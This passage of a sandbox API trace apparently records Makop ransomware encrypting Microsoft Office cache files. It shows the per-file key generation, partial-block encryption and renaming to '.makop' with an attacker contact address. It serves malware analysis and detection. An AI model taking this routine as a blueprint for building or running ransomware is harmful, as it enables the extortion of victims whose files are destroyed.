lpNewFilePointer=0x0) returned 1 [0066.069] SetEndOfFile (hFile=0x124) returned 1 [0066.076] GetProcessHeap () returned 0x48a0000 [0066.076] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0066.076] GetProcessHeap () returned 0x48a0000 [0066.076] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0066.076] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 [0066.076] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0066.077] CloseHandle (hObject=0x124) returned 1 [0066.108] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0066.108] FindClose (in: hFindFile=0x48c70a8 | out: hFindFile=0x48c70a8) returned 1 [0066.108] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="{94E50~1")) returned 1 [0066.108] wsprintfW (in: param_1=0x657c270, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C") returned 62 [0066.108] wsprintfW (in: param_1=0x65797f0, param_2="%s\\*.*" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*.*") returned 66 [0066.109] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70a8 [0066.110] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.110] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0066.110] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.111] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0066.111] GetProcessHeap () returned 0x48a0000 [0066.111] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0066.111] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0066.111] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0066.112] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0066.116] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0066.116] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0066.116] GetProcessHeap () returned 0x48a0000 [0066.117] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0066.117] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30) returned 1 [0066.117] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0066.117] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579528*=0x30, lpOverlapped=0x0) returned 1 [0066.117] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0066.117] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0066.117] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0066.117] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0066.118] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0066.118] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0066.118] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0066.118] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.118] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x978, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x978, lpOverlapped=0x0) returned 1 [0066.118] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x980, dwBufLen=0x980 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x980) returned 1 [0066.118] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.118] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x980, lpOverlapped=0x0) returned 1 [0066.119] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0066.119] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.119] SetEndOfFile (hFile=0x124) returned 1 [0066.126] GetProcessHeap () returned 0x48a0000 [0066.126] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0066.126] GetProcessHeap () returned 0x48a0000 [0066.126] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0066.126] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 [0066.126] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0066.134] CloseHandle (hObject=0x124) returned 1 [0066.134] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab", cAlternateFileName="")) returned 1 [0066.134] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0066.134] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0066.135] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=43806141) returned 1 [0066.135] GetProcessHeap () returned 0x48a0000 [0066.135] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0066.135] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0066.135] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.135] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579524*=0x3, lpOverlapped=0x0) returned 1 [0066.142] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0066.142] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0066.142] GetProcessHeap () returned 0x48a0000 [0066.142] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0066.143] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579508*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579508*=0x30) returned 1 [0066.143] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0066.143] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579524*=0x30, lpOverlapped=0x0) returned 1 [0066.143] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0066.143] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0066.143] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0066.143] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0066.143] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0066.144] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0066.144] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0066.144] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0066.144] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0066.159] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0066.162] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.162] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0066.164] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x29c6e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.164] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0066.164] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0066.165] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0066.179] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0066.181] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.182] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0066.186] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x29c6e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.186] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0066.186] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2986dc0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0066.187] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0066.194] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0066.197] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2986dc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.197] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0066.199] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x29c6e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.199] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0066.200] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0066.200] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x29c6e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.200] SetEndOfFile (hFile=0x124) returned 1 [0066.207] GetProcessHeap () returned 0x48a0000 [0066.207] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0066.207] GetProcessHeap () returned 0x48a0000 [0066.207] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0066.207] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0066.207] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0066.208] CloseHandle (hObject=0x124) returned 1 [0067.194] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1 [0067.194] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0067.194] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0067.196] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=2522624) returned 1 [0067.196] GetProcessHeap () returned 0x48a0000 [0067.196] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0067.196] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0067.197] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.197] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0067.198] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0067.198] GetProcessHeap () returned 0x48a0000 [0067.198] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0067.198] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40) returned 1 [0067.198] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0067.198] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579524*=0x40, lpOverlapped=0x0) returned 1 [0067.215] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0067.215] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0067.215] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0067.216] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0067.216] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0067.217] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0067.217] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0067.218] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0067.218] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0067.232] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0067.235] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.236] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0067.238] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x267ed4, 